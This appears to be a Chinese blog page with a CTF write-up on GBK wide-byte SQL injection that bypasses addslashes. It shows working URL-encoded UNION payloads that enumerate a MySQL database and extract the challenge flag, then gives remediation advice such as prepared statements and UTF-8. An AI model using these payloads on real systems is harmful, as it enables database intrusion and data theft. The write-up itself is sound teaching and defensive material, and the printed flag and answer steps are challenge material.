news 2026/9/7 21:52:08

【LitCTF2026】lit_ezsql

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【LitCTF2026】lit_ezsql

【LitCTF2026】lit_ezsql

  • 【LitCTF2026】lit_ezsql——GBK 宽字节 SQL 注入利用
    • 一、前置基础:字符型 SQL 注入
    • 二、黑盒发现查询参数
    • 三、黑盒测试普通 SQL 注入
      • 1. 测试数字型表达式
      • 2. 测试单引号闭合
    • 四、黑盒定位宽字节注入
      • 1. 为什么会想到尝试宽字节
      • 2. 测试宽字节单引号
      • 3. 使用 UNION 作为可观察的验证条件
      • 4. 宽字节注入完整字节流原理
    • 五、辅助确认后端SQL语句
    • 六、获取当前数据库名
    • 七、枚举数据库全部数据表
    • 八、枚举flag_store数据表的字段
    • 九、读取最终Flag值
    • 十、完整攻击链路与知识点总结
      • 1. 完整攻击利用链
      • 2. 漏洞代码层成因讲解
      • 3. 核心知识点总结
    • 十一、详细漏洞修复方案
      • 1. 根除方案:使用预编译参数化查询
      • 2. 修复编码漏洞:全站统一 UTF-8 编码
      • 3. 废弃无效防护:删除 addslashes
      • 4. 业务层白名单过滤
      • 5. 数据库最小权限加固
      • 6. 关闭调试信息泄露
      • 7. 临时应急缓解(无法改代码时使用)

【LitCTF2026】lit_ezsql——GBK 宽字节 SQL 注入利用


一、前置基础:字符型 SQL 注入

题目页面提供了一个根据id查询数据的表单。假设后端代码类似:

sql="SELECT id,name,col2,col3,col4 FROM users WHERE id='%s'"%id

如果用户输入没有经过处理,正常输入:

1

会形成:

WHEREid='1'

如果输入:

1' OR '1'='1'-- -

则可能形成:

WHEREid='1'OR'1'='1'-- -'

其中:

  • 第一个单引号用于闭合原字符串;
  • OR '1'='1'使条件恒真;
  • -- -注释掉后面的内容。

这种注入方式称为字符型 SQL 注入

但是,如果后端会在单引号前添加反斜杠,例如:

' -> \'

那么输入的单引号就会被当作字符串内容,普通的字符型注入会失效。


二、黑盒发现查询参数

打开目标页面后,只看到一个id输入框。首先从功能本身判断请求方式,提交1后得到:

GET /query?id=1

访问:

/query?id=1

返回一条用户记录:

id=1 name=alice col2=visitor col3=none col4=none

再测试不存在的值:

/query?id=0

页面提示没有查询结果,说明id参数确实参与了后端查询。


三、黑盒测试普通 SQL 注入

1. 测试数字型表达式

先输入不带引号的常见 Payload:

1 OR 1=1

结果仍然只返回id=1的记录,没有返回所有数据。

这说明参数很可能被放进了单引号中,输入整体被当成了字符串,而不是直接拼接成数字条件。

2. 测试单引号闭合

接着测试:

1'

页面仍然返回id=1的记录,没有出现预期的 SQL 报错。

再测试经典字符型注入:

1' OR '1'='1

结果依旧没有出现全表数据。

继续测试带注释的形式:

1' OR 1=1-- -

仍然无法得到注入结果。

此时可以得到一个重要判断:

  1. 参数应该是字符型 SQL 查询;
  2. 单引号没有直接打破原有查询;
  3. 后端很可能对特殊字符进行了反斜杠转义;
  4. 需要进一步考虑编码层面的绕过,而不是继续盲目修改OR 1=1

四、黑盒定位宽字节注入

1. 为什么会想到尝试宽字节

当单引号被转义成\'后,传统 Payload 会失效。对于 MySQL 类环境,常见的下一步测试方向包括:

  • 编码转换;
  • 宽字节注入;
  • 双重 URL 编码;
  • 注释和空白符变形;
  • 其他转义绕过。

宽字节注入的核心思路是:让数据库把“前一个字节 + 被添加的反斜杠”识别成一个多字节字符,从而使反斜杠失去转义作用。


2. 测试宽字节单引号

对常见的 GBK 前导字节进行测试,例如:

%81%27 %A1%27 %BF%27 %DF%27

其中%27是单引号。单独测试时,页面不一定会直接显示明显的错误,因此还需要将它放进可观察的 UNION 查询中验证。


3. 使用 UNION 作为可观察的验证条件

我们的目标是验证是否成功闭合SQL字符串,同时确定查询返回的列数。
构造一个查询结果为空的值-1,拼接UNION SELECT手动填充5个常量作为回显标记:

-1'UNIONSELECT1,2,3,4,5-- -

直接提交这条明文语句会被后端addslashes将单引号转义为\',注入失效。
宽字节注入需要手动在单引号前增加高位字节%DF,再对剩余特殊字符执行URL编码,最终可访问请求:

/query?id=-1%DF%27+UNION+SELECT+1%2C2%2C3%2C4%2C5--+-

页面返回内容:

1 | 2 | 3 | 4 | 5

该回显可以同时确认3个结论:

  1. %DF%27成功吃掉转义反斜杠,完成字符串闭合,绕过单引号防护;
  2. UNION SELECT语句被MySQL正常解析执行;
  3. 原始SQL查询一共返回5个字段,后续联合查询必须严格保持5列结构。

使用-1的目的:让前面原生SQLWHERE id='xxx'查询不到任何数据,页面只会展示我们可控的UNION返回值,方便观察注入结果;-- -是SQL注释符,舍弃闭合后多余的单引号与后续SQL语句。


4. 宽字节注入完整字节流原理

用户提交的URL参数解码后的原始字节:
0x2D 0x31 0xDF 0x27(对应字符:-1+ 高位字节0xDF+ 单引号'

后端防护函数对单引号0x27添加转义符反斜杠0x5C,处理完成后的字节序列变为:

0xDF 0x5C 0x27 DF \ '

MySQL当前连接字符集为GBK,GBK采用双字节编码规则:

  • 0xDF 0x5C被数据库识别为一个完整合法的GBK汉字
  • 反斜杠0x5C不再具备SQL转义功能,被合并进汉字;
  • 剩余独立字节0x27(单引号)成为真正的字符串结束符。

后端原本拼接的SQL逻辑:

WHEREid='-1\' UNION SELECT ...'

经过GBK解析之后,语义被篡改,成功执行联合注入:

WHEREid='-1運'UNIONSELECT1,2,3,4,5-- - '

补充说明:%DF不是随意选择的字符,测试时需要批量遍历GBK可用高字节(%81%A1%BF%DF)逐个探测,最终通过UNION回显确认%DF可成功利用。在线URL编码工具无法自动生成该Payload,高位字节需要人工拼接。


五、辅助确认后端SQL语句

黑盒测试阶段尝试探测额外参数,追加debug=1

/query?id=1&debug=1

页面泄露完整执行SQL:

SELECT`id`,`name`,`col2`,`col3`,`col4`FROM`ezsql`.`users`WHEREid='1'LIMIT50

提交普通单引号payload后,调试页面展示转义结果:

WHEREid='1\''

日志直观证明后端开启了转义防护,单引号自动添加反斜杠。

即便不存在debug调试接口,我们也可以依靠「普通注入失败 +%DF%27联合查询成功」的行为特征,判断宽字节注入漏洞,不需要依赖SQL泄露。


六、获取当前数据库名

确认注入可用后,修改联合查询的第二列,替换为MySQL内置函数database()读取当前库名:
原始SQL语句

-1'UNIONSELECT1,database(),3,4,5-- -

完整URL编码请求(手动拼接%DF,其余字符使用RFC标准%20空格编码)

/query?id=-1%DF%27%20UNION%20SELECT%201%2Cdatabase%28%29%2C3%2C4%2C5--%20-

页面回显结果:

ezsql

得到当前数据库名称:ezsql


七、枚举数据库全部数据表

利用系统库information_schema.tables查询当前库内所有表名
原始SQL语句

-1'UNIONSELECT1,group_concat(table_name),3,4,5FROMinformation_schema.tablesWHEREtable_schema=database()-- -

URL编码后的请求链接

/query?id=-1%DF%27%20UNION%20SELECT%201%2Cgroup_concat%28table_name%29%2C3%2C4%2C5%20FROM%20information_schema.tables%20WHERE%20table_schema%3Ddatabase%28%29--%20-

返回结果:

users,flag_store

筛选目标敏感表:flag_store


八、枚举flag_store数据表的字段

绕过引号过滤技巧:使用十六进制值0x666c61675f73746f7265代替字符串'flag_store',避免再次使用单引号。
原始SQL语句

-1'UNIONSELECT1,group_concat(column_name),3,4,5FROMinformation_schema.columnsWHEREtable_schema=database()ANDtable_name=0x666c61675f73746f7265-- -

URL编码请求

/query?id=-1%DF%27%20UNION%20SELECT%201%2Cgroup_concat%28column_name%29%2C3%2C4%2C5%20FROM%20information_schema.columns%20WHERE%20table_schema%3Ddatabase%28%29%20AND%20table_name%3D0x666c61675f73746f7265--%20-

0x666c61675f73746f7265等价字符串:flag_store

页面返回字段:

id,flag

目标字段:flag_store.flag


九、读取最终Flag值

构造Payload读取flag字段全部内容
原始SQL语句

-1'UNIONSELECT1,group_concat(flag),3,4,5FROMezsql.flag_store-- -

完整可直接访问的请求地址

/query?id=-1%DF%27%20UNION%20SELECT%201%2Cgroup_concat%28flag%29%2C3%2C4%2C5%20FROM%20ezsql.flag_store--%20-

页面回显flag:

flag{kkvxy7jm-kx3x-4pl-82f7-bmtcrpifthip3}

十、完整攻击链路与知识点总结

1. 完整攻击利用链

1. 发现站点 /query?id= 可控GET参数,存在SQL字符串拼接查询点 2. 常规单引号 1' 注入被转义失效,初步判断存在 addslashes 防护 3. 利用 debug=1 泄露后端SQL,确认参数被单引号包裹、存在转义行为 4. 结合 MySQL+GBK 环境特征,判定存在宽字节注入漏洞 5. 测试高位字节字典,确定 %DF%27 可吃掉反斜杠成功闭合SQL 6. 构造5列UNION查询,确认字段数量、验证注入完全可用 7. 调用 database() 函数枚举当前数据库:ezsql 8. 查询 information_schema.tables 枚举所有表:users、flag_store 9. 十六进制绕过单引号,枚举 flag_store 表字段:id、flag 10. 查表获取 flag 字段内容,拿到最终 FLAG

2. 漏洞代码层成因讲解

后端不安全源码逻辑(漏洞根源):

// 危险写法:直接拼接用户输入$sql="SELECT id,name,col2,col3,col4 FROM users WHERE id='$id'";

程序为了防注入,使用了错误的防护方式

$id=addslashes($_GET['id']);

漏洞叠加原因:

  1. SQL字符串拼接:用户输入直接参与SQL语法构造,是注入根本源头。
  2. addslashes 防护缺陷:只会固定把'转为\',属于字符级浅层防护。
  3. 数据库GBK编码:MySQL连接编码为GBK,允许两字节合成一个汉字
  4. 攻击者可控高位字节
    传入%DF%27
    服务端转义后变成:%DF%5C%27
    MySQL(GBK) 将DF 5C解析为一个完整汉字
    反斜杠被吃掉,剩下%27单引号成功闭合SQL

3. 核心知识点总结

  • 字符型SQL注入:参数被单引号包裹,可控输入可破坏SQL结构。
  • 宽字节注入原理:GBK双字节编码特性绕过addslashes转义防护。
  • URL编码细节:GET参数中+%20等效,均为空格,不影响漏洞利用。
  • UNION 联合查询:必须严格匹配原查询字段数量,否则无法回显数据。
  • MySQL 渗透流程:通过information_schema系统库逐层枚举库、表、字段。
  • 调试接口危害:debug=1泄露SQL源码,极大降低攻击难度。

十一、详细漏洞修复方案

1. 根除方案:使用预编译参数化查询

危险代码

$id=$_GET['id'];$sql="SELECT * FROM users WHERE id='$id'";

安全修复代码

$sql="SELECT * FROM users WHERE id=:id";$stmt=$pdo->prepare($sql);$stmt->bindParam(":id",$_GET['id']);$stmt->execute();

修复原理
预编译将「SQL语句结构」和「用户参数」完全分离,无论传入任何恶意Payload,只会被当作纯参数值,永远不会被数据库解析为SQL语句,彻底杜绝所有SQL注入(含宽字节注入)


2. 修复编码漏洞:全站统一 UTF-8 编码

废弃项目GBK数据库连接配置:

// 移除$pdo->exec("SET NAMES GBK");// 改为$pdo->exec("SET NAMES utf8mb4");

修复原理
UTF-8 无“高低字节拼接”特性,不存在吃掉反斜杠的条件,从底层彻底废掉宽字节注入漏洞


3. 废弃无效防护:删除 addslashes

addslashes在GBK环境完全失效,属于伪防护,必须直接删除,不能作为防御手段。


4. 业务层白名单过滤

该接口id纯数字参数,后端强制校验:

if(!is_numeric($_GET['id'])){die("非法参数");}

严格限制输入格式,杜绝编码字符、特殊符号进入后端逻辑。


5. 数据库最小权限加固

  1. 网站业务账号禁止访问 information_schema
  2. 禁止跨库查询权限
  3. 禁止文件导出、高权限操作
    即使存在注入漏洞,攻击者也无法枚举库表、无法脱库。

6. 关闭调试信息泄露

生产环境禁用debug调试参数,关闭SQL报错详情、堆栈信息输出,防止泄露后端SQL结构,阻断黑盒测试辅助信息。


7. 临时应急缓解(无法改代码时使用)

  1. WAF 拦截 UNION、SELECT、information_schema、database() 等注入关键字
  2. 拦截%DF%81等异常高位GBK攻击字节
  3. 过滤非常规URL编码字符
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/7 21:50:59

软件开发中的初始化问题解析与最佳实践

1. 初始化问题解析与解决方案 在软件开发过程中,初始化问题是一个看似简单却经常引发各种bug的常见问题。作为从业十多年的工程师,我见过太多因为初始化不当导致的线上事故。今天就来深入剖析这个基础但重要的话题。 初始化问题通常表现为变量未初始化、…

作者头像 李华
网站建设 2026/9/7 21:48:10

看完就会:盘点2026年好评如潮的AI论文写作软件

一天写完毕业论文在2026年已不再是天方夜谭。以下是2026年最炸裂、实测能大幅提速的AI论文写作软件,覆盖选题构思、文献综述、数据整理、格式排版等核心场景,帮你高效搞定论文写作难题。 一、全流程王者:一站式搞定论文全链路(一天…

作者头像 李华
网站建设 2026/9/7 21:45:25

探测木马地址常用指令(linux)

1.在linux中,使用: sudo timeout 75 unshare -n strace -f -qq -e trace%network -o /tmp/net.trace ./木马程序可以查看木马的回连地址 2.如果是从 Wireshark 等工具中提取的、不带地址偏移的纯十六进制载荷,使用 -r -p 参数组合&#xff1a…

作者头像 李华
网站建设 2026/9/7 21:45:22

面向对象的三大特性之一——多态

概念通俗来说,就是多种形态。多态分为编译时多态(静态多态)和运行时多态(动态多态),我们重点介绍运行时多态。编译时多态(静态多态)主要就是我们前面讲的函数重载和函数模板,他们传不同类型的参…

作者头像 李华
网站建设 2026/9/7 21:44:52

电梯安全双重保障:自校准与第三方验证技术解析

1. 项目背景与核心价值电梯作为现代建筑中不可或缺的垂直交通工具,其安全性直接关系到千家万户的生命财产安全。这次参与特检院的"向内校准、向外验证"项目,让我对电梯安全治理有了全新的认识。不同于常规的定期检验,这套体系通过设…

作者头像 李华